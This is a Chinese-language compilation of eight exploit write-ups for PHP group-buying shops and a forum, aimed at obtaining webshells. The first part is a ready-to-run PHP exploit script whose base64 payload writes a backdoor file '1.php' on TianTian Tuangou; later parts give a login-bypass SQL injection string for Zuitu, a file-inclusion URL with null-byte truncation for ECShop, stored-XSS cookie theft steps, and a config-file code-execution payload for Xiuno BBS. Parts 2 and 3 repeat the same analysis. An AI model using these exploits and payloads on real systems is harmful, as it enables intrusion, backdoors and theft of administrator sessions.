以下是小编为大家准备的天天团购后台Getshell安全问题漏洞预警,本文共8篇,仅供参考,欢迎大家阅读。
篇1:天天团购后台Getshell安全问题漏洞预警
by k4shifz[w.s.t]
bbs.wolvez
上次说到天天团购的后台拿shell,
后台注射,向数据库插入代码。exp需要填写四个参数 $host、$path、$formhash、$cookie。提交后,前台登录执行代码。
/*
TianTian Tuangou getshell codz by k4shifz
Team: bbs.worlvez
*/
$host='localhost';
$path='tttuangou';
/*
view : /admin.php?mod=role_action&code=modify&id=50
get cookie : javascript.:document.write(document.cookie);
*/
$formhash='596da77e66139589';
$cookie='admin cookies';
/* injection */
$data=rawurlencode('eval(base64_decode(“ZnB1dHMoZm9wZW4oJzEucGhwJywndysnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2tdKTs/PicpOw==”));');
$cmd='FORMHASH='.$formhash.'&id=50&is_admin=0&php_code='.$data.'&name=%B5%C7%C2%BD%CF%B5%CD%B3&allow_all=1&role_ids%5B%5D=1&role_ids%5B%5D=3&role_ids%5B%5D=4&role_ids%5B%5D=5&role_ids%5B%5D=6&role_ids%5B%5D=2&role_ids%5B%5D=7&module=login&action=dologin%7C&log=0&message=&describe=&update_value%5Bcredits%5D=0&require_value%5Bcredits%5D=0&detailsubmit=%CC%E1+%BD%BB';
$fs=fsockopen($host,'80');
fputs($fs,'POST /'.$path.'/admin.php?mod=role_action&code=domodify HTTP/1.0
Referer:'.$host.'/'.$path.'/admin.php?mod=role_action&code=modify&id=50
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: '.$host.'
Content-Length: '.strlen($cmd).'
Cookie: '.$cookie.'
'.$cmd);
fclose($fs);
file_get_contents(“{$host}/{$path}/index.php?mod=login”);
exit(“ok\n{$host}/{$path}/1.php k\n”);
?>前台的问题还是挺多的,黑盒估计都能测出来,
篇2:的天天团购0day漏洞预警
首先是本地包含
ajax.php
require_once MOD_PATH.$this->SetEvent($config['default_module']).’.mod.php’;
//再看SetEvent
function SetEvent
{
$modss = array(‘check’=>1,’getseller’=>1,’member’=>1);
$mod = (isset($_POST['mod']) ? $_POST['mod'] : $_GET['mod']);
if(!isset($modss)) { //程序员思想混乱了.估计老板没发工资
include(INCLUDE_PATH.’error_4.php’);
exit;
}
$_POST['mod'] = $_GET['mod'] = $mod;
Return $mod;
}
那么mod.php结尾的那个能用呢?
以下是上传漏洞
看modules\admin\tttuangou.mod.php //后台文件!
class ModuleObject extends MasterObject{
var $city;
function ModuleObject($config){
$this->MasterObject($config); Load::logic(‘product’);
$this->ProductLogic = new ProductLogic();
Load::logic(‘pay’);
$this->PayLogic = new PayLogic();
Load::logic(‘me’);
$this->MeLogic = new MeLogic();
Load::logic(‘order’);
$this->OrderLogic = new OrderLogic();
$this ->config =$config;
$this->ID = (int) ($this->Post['id'] ? $this->Post['id'] : $this->Get['id']);
$this->Execute();
}
//很幸运地以上自定义函数都已经定义了
function Execute(){
switch($this->Code){
case ‘varshow’:
$this->Varshow();
break;
case ‘varedit’:
//忽略一堆东西
case ‘dositelogo’:
$this->doSiteLogoManager();
//再看doSiteLogoManager
function doSiteLogoManager()
{
//这里忽略一些没用的东西
$_FILES['uploads']['name'] = $FILES_O['uploads']['name'][$i];
//继续忽略
$default_type=array(‘jpg’,'pic’,'png’,'jpeg’,'bmp’,'gif’); $imgary=explode(‘.’,$_FILES['uploads']['name']);
if(!in_array(strtolower($imgary[count($imgary)-1]),$default_type)){
$this->Messager(‘不允许上传的图片格式!’);
}
//这里限制了后缀
$full_path = urldecode($this->Get['path']);
$fp_ary = explode(‘/’, $full_path);
$file = $fp_ary[count($fp_ary)-1];
$dir = ”;
for ($i=0;$i
{
if ($fp_ary[$i] != ‘.’)
{
$dir .= $fp_ary[$i].’/';
}
}
$dir = ‘./’.$dir; //o(∩_∩)o 哈哈 悲剧 path自定义名字可以了 直接上传JPG
require_once LIB_PATH . ‘upload.han.php’;
$upload_handler = new UploadHandler($_FILES, $dir, ‘uploads’ , true);
同时还发现2处没用的包含漏洞
modules\me.mod.php
function Readdmoney(){
$pay_code = (isset($_POST['pay']) ? $_POST['pay'] : $_GET['pay']); //没过滤
//忽略…
include_once(‘./modules/’.$pay_code.’.pay.php’);
还有index.mod.php
function Repay(){
$pay_code = (isset($_POST['pay']) ? $_POST['pay'] : $_GET['pay']); //一样没过滤
//也忽略…
include_once(‘./modules/’.$pay_code.’.pay.php’);
.pay.php只有3个在线支付文件还没什么用
一切GPC后的东西都是浮云 唯有超长字符截断了
篇3:天天团购系统 0DAY漏洞预警
作者:心灵
===========================================
也是那句 最后能拿到WEBSHELL都统称0DAY
o(∩_∩)o 哈哈
经典对白看代码
首先是本地包含
ajax.php
require_once MOD_PATH.$this->SetEvent($config['default_module']).'.mod.php'; //再看SetEvent function SetEvent() { $modss = array('check'=>1,'getseller'=>1,'member'=>1);$mod = (isset($_POST['mod']) ? $_POST['mod'] : $_GET['mod']); if(!isset($modss)) { //程序员思想混乱了.估计老板没发工资 include(INCLUDE_PATH.'error_404.php'); exit; } $_POST['mod'] = $_GET['mod'] = $mod; Return $mod; }
那么mod.php结尾的那个能用呢?
以下是上传漏洞
看modules\admin\tttuangou.mod.php //后台文件!
class ModuleObject extends MasterObject{ var $city; function ModuleObject($config){ $this->MasterObject($config); Load::logic('product'); $this->ProductLogic = new ProductLogic(); Load::logic('pay'); $this->PayLogic = new PayLogic(); Load::logic('me'); $this->MeLogic = new MeLogic(); Load::logic('order'); $this->OrderLogic = new OrderLogic(); $this ->config =$config; $this->ID = (int) ($this->Post['id'] ? $this->Post['id'] : $this->Get['id']); $this->Execute(); } //很幸运地以上自定义函数都已经定义了 function Execute(){ switch($this->Code){ case 'varshow': $this->Varshow(); break; case 'varedit'://忽略一堆东西 case 'dositelogo': $this->doSiteLogoManager(); //再看doSiteLogoManagerfunction doSiteLogoManager() { //这里忽略一些没用的东西 $_FILES['uploads']['name'] = $FILES_O['uploads']['name'][$i]; //继续忽略 $default_type=array('jpg','pic','png','jpeg','bmp','gif'); $imgary=explode('.',$_FILES['uploads']['name']); if(!in_array(strtolower($imgary[count($imgary)-1]),$default_type)){ $this->Messager('不允许上传的图片格式!'); } //这里限制了后缀 $full_path = urldecode($this->Get['path']); $fp_ary = explode('/', $full_path); $file = $fp_ary[count($fp_ary)-1]; $dir = ''; for ($i=0;$i 同时还发现2处没用的包含漏洞 modules\me.mod.php function Readdmoney(){ $pay_code = (isset($_POST['pay']) ? $_POST['pay'] : $_GET['pay']); //没过滤 //忽略... include_once('./modules/'.$pay_code.'.pay.php'); 还有index.mod.php function Repay(){ $pay_code = (isset($_POST['pay']) ? $_POST['pay'] : $_GET['pay']); //一样没过滤 //也忽略... include_once('./modules/'.$pay_code.'.pay.php'); .pay.php只有3个在线支付文件还没什么用 一切GPC后的东西都是浮云 唯有超长字符截断了
篇4:ECSHOP跨站+后台文件包含=Getshell漏洞预警
简要描述:
看到重点应用中有Ecshop就来了..
详细说明:
0x1 会员中心添加缺货登记处linkman参数在后台查看详细时未做编码,导致跨站..
0x2 ecshop 后台integrate.php文件 从第80行起基本都是文件包含..
可以访问
localhost:8082/ECShop_V2.7.3/admin/integrate.php?act=install&code=../../../../ECShop_V2.7.3/data/feedbackimg/6_0506toqbvy.txt%00
来包含我们的文件,但是需要后台权限,截断就靠自己的人品了..
0x3 我们结合一二在留言处上传一个文本文件,通过跨站让管理员来访问包含的文件就可以getshell 啦..
漏洞证明:
修复方案:
修复后台的跨站以及文件包含..
篇5:最土团购2.00901后台BYPASS登录后台0day分析漏洞预警
前两天在黑吧看到《最土团购网 BYPASS登录后台0day》原文地址:www.myhack58/Article/html/3/62//33685.htm的漏洞信息(此漏洞去年都已经出了,但黑吧文章更新比较落后!),感觉漏洞利用手法有点奇怪,首先是肯定了使用SQL注入方式,但是咋一眼看去确实有点疑惑不解,不由得想看看代码是怎么一个写法,于是在网上下了套最土团购2.0_20110901程序来研究研究,经过大半天的研究算是基本明白了漏洞原理,这里就简单的写下漏洞原理分析过程。在继续接下来内容之前先还上膜拜下此漏洞原作者,能找到这个漏洞确实不易,至少换做是我的话我可能70%不会注意到这个漏洞。
首先还是看看漏洞Exp,在后台登陆页面修改Form表单的name=“username” 为:name=“username[=0x7c or manager=1#]”,保存后账号密码任意即可登陆后台了。根据这个Exp我们将username[=0x7c or manager=1#] 带入实际程序中看看。在PHP中form表单数据是以数组方式传送的,$_POST[]获取到的都是数组形式,以上代码username[=0x7c or manager=1#]其实就是一个数组“username”为数组名,“=0x7c or manager=1#”为数组下标,在使用$_POST获取其实就是$_POST[username][=0x7c or manager=1#] 成为一个二维数组。提交后数据进入include/class/ZUser.class.php类中的GetLogin函数
static public function GetLogin($email, $unpass, $en=true) {
/* just for zuitu_demo, no harm */
if (strtolower(md5($email))=='b80c4133e7227706d64920a1cd8789e9') {
return Table::Fetch('user', $email, 'email');
}
/* end */
if($en) $password = self::GenPassword($unpass); //加密密码
$field = strpos($email, ) ? 'email' : 'username';
//数据进入GetTableRow函数
$zuituuser = DB::GetTableRow('user', array(
$field =>$email,
'password' =>$password,
));
if ($zuituuser) return $zuituuser;
if (function_exists('zuitu_uc_login')) {
return zuitu_uc_login($email, $unpass);
}
return array;
}
因我们form表单中username提交的是一个数组,所以传入GetTableRow函数的第二个参数变为array('username' =>array ('=0x7c or manager=1#' =>'adminuser' ) ,'password' =>‘md5password’,),继续跟进include/library/DB.class.php类中的GetTableRow函数:
static public function GetTableRow($table, $condition)
{
return self::LimitQuery($table, array(
'condition' =>$condition,
'one' =>true,
));
}
从以上代码可看出程序将传入的$condition值再加上一层数组,然后传递给LimitQuery函数,所以在此进入LimitQuery时候,第二参数值为:array('condition' =>array('username' =>array ('=0x7c or manager=1#' =>'ddd' ) ,'password' =>‘md5password’,),'one' =>true,),继续跟进LimitQuery函数:
static public function LimitQuery($table, $options=array())
{
$condition = isset($options['condition']) ? $options['condition'] : null;
$one = isset($options['one']) ? $options['one'] : false;
$offset = isset($options['offset']) ? abs(intval($options['offset'])) : 0;
if ( $one ) {
$size = 1;
} else {
$size = isset($options['size']) ? abs(intval($options['size'])) : null;
}
$select = isset($options['select']) ? $options['select'] : '*';
$order = isset($options['order']) ? $options['order'] : null;
$cache = isset($options['cache'])?abs(intval($options['cache'])):0;
$condition = self::BuildCondition( $condition );
$condition = (null==$condition) ? null : “WHERE $condition”;
$limitation = $size ? “LIMIT $offset,$size” : null;
$sql = “SELECT {$select} FROM `$table` $condition $order $limitation”;return self::GetQueryResult( $sql, $one, $cache);
}
以上函数功能实际是为了构造最终查询的SQL语句,数据进入该函数后取得数组中下标为'condition'的值即:array('username' =>array ('=0x7c or manager=1#' =>'ddd' ) ,'password' =>‘md5password’,) 然后将此值代入BuildCondition函数,继续跟进BuildCondition函数:
static public function BuildCondition($condition=array(), $logic='AND')
{
if ( is_string( $condition ) || is_null($condition) )
return $condition;
$logic = strtoupper( $logic );
$content = null;
foreach ( $condition as $k =>$v )//第一次遍历数组
{
$v_str = null;
$v_connect = '=';
if ( is_numeric($k) )
{
$content .= $logic . ' (' . self::BuildCondition( $v, $logic ) . ')';
continue;
}
$maybe_logic = strtoupper($k);
if ( in_array($maybe_logic, array('AND','OR')))
{
$content .= $logic . ' (' . self::BuildCondition( $v, $maybe_logic ) . ')';
continue;
}
if ( is_numeric($v) ) {
$v_str = “'{$v}'”;
}
else if ( is_null($v) ) {
$v_connect = ' IS ';
$v_str = ' NULL';
}
else if ( is_array($v) ) { //经过第一次遍历数组后,$v值依然是个数组,因为$condition值为一个二维数组
if ( isset($v[0]) ) {
$v_str = null;
foreach($v AS $one) {
if (is_numeric($one)) {
$v_str .= ','.$one;
} else {
$v_str .= ',\''.self::EscapeString($one).'\'';
}
}
$v_str = '(' . trim($v_str, ',') .')';
$v_connect = 'IN';
} else if ( empty($v) ) {
$v_str = $k;
$v_connect = '';
} else { //以上条件不满足,程序跳至此处
$v_connect = array_shift(array_keys($v)); //得到$v_connect 值为:=0x7c or manager=1#
$v_s = array_shift(array_values($v));
$v_str = “'”.self::EscapeString($v_s).“'”;
$v_str = is_numeric($v_s) ? “'{$v_s}'” : $v_str ;
}
}
else {
$v_str = “'”.self::EscapeString($v).“'”;
}
$content .= “ $logic `$k` $v_connect $v_str ”;
}
$content = preg_replace( '/^\s*'.$logic.'\s*/', '', $content );
$content = preg_replace( '/\s*'.$logic.'\s*$/', '', $content );
$content = trim($content);
return $content; //值为 `username`=0x7c or manager=1# 'ddd' AND `password` = 'md5password'
}
通过以上代码后,返回LimitQuery函数中可得到最终的sql语句为:SELECT * FROM `user` WHERE `username` =0x7c or manager=1# 'ddd' AND `password` = 'f8c2911838a9a264d53d68c0a50c25c7' LIMIT 0,1成功绕过后台!!
结语:这样方式的漏洞你什么magic_quote_gpc都是浮云了,完美注入,其实我搞不懂为啥后台登陆验证要写那么复杂,看代码时候着实让我饶了一会儿,这样的功能越是多越是容易出现纰漏,这也给我们越多的利用机会,
篇6:方维团购系统存储型XSS可盲打后台漏洞预警
fanwe团购系统存在XSS可以获得管理员cookie并且进入后台
首先在一个商品进去,里面会有退款留言,都会有的就算支付了会有,
方维团购系统存储型XSS可盲打后台漏洞预警
,
然后评论可以添加XSS,管理员每天都会查看,查看的时候就会取得管理员COOkie
然后通过cookie访问
然后进入后台
后台有SQL语句执行,可以通过它导出一句话,然后拿到webshell
篇7:易想团购程序SQL注入漏洞漏洞预警
易想团购管理系统是一套定位中高端市场的团购内容管理系统,能够以最低的成本,最少的人力投入在最短的时间架设一个功能齐全、性能优异、规模庞大并易于维护的网站平台,
易想团购程序SQL注入漏洞漏洞预警
,
未作过滤导致注入
目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.easethink
篇8:xiuno bbs论坛后台代码执行Getshell漏洞附利用方法漏洞预警
官方介绍:
Xiuno 这个名字来源于圣斗士星矢白羊座的黄金圣斗士修罗,他的攻击速度和战斗力是十二宫最强的,他是速度和力量的化身;在佛教里面,修罗为六道之一,处于人道和天道之间的一道,半人半神,性情刚烈,好战斗,我们取其寓意,希望XIUNO变得越来越强,越来越快。
在 Xiuno BBS 的第一行代码开始(一共大约有4W多行代码,历时多年积累)对性能的追求就到了苛刻,完美,歇斯底里,神经质,作者本人经常因为权衡一个方案而陷入冥想状态,在千万级数据下,最终的程序执行速度基本控制在0.00x秒,是作者本人比较满意的。
漏洞描述:
xiuno后台在写入配置文件时出现漏洞,导致代码执行
1. 系统配置并非存放在数据库中,而是存放在conf.php中;
2. 使用数组的方法存放;
3. 有转义: ‘ =>\’ ;
4. ‘\’没有转义;
5. 插入\’会被转义为\\’,php中表示一个\,而单引号就逃脱了转义,因此可以闭合前面的数组;
6. 该漏洞在后台管理中多次出现,包括灯鹭插件的设置中也出现,
在admin/control/conf_control.class.php的on_base方法中:
相关代码 省略。。。。
直接写入到了文件中,由于过滤不严,我们用’即可绕过单引号过滤,达到闭合单引号的目的。
设置 ->基本设置 ->站点名称 加上 \’,)&&phpinfo();/* (其他地方应该也可以,没测试)
这样就在conf/conf.php中写入了如下代码:
return array ( ...... // 唯一识别ID 'app_id' => 'bbs' , // 站点名称 'app_name' => 'Xiuno BBS\\' ,)&&phpinfo();/*',
形成了return array() && phpinfo();
通过使用&&达到执行命令的目地.
更多推荐
天天团购后台Getshell安全问题漏洞预警
发布评论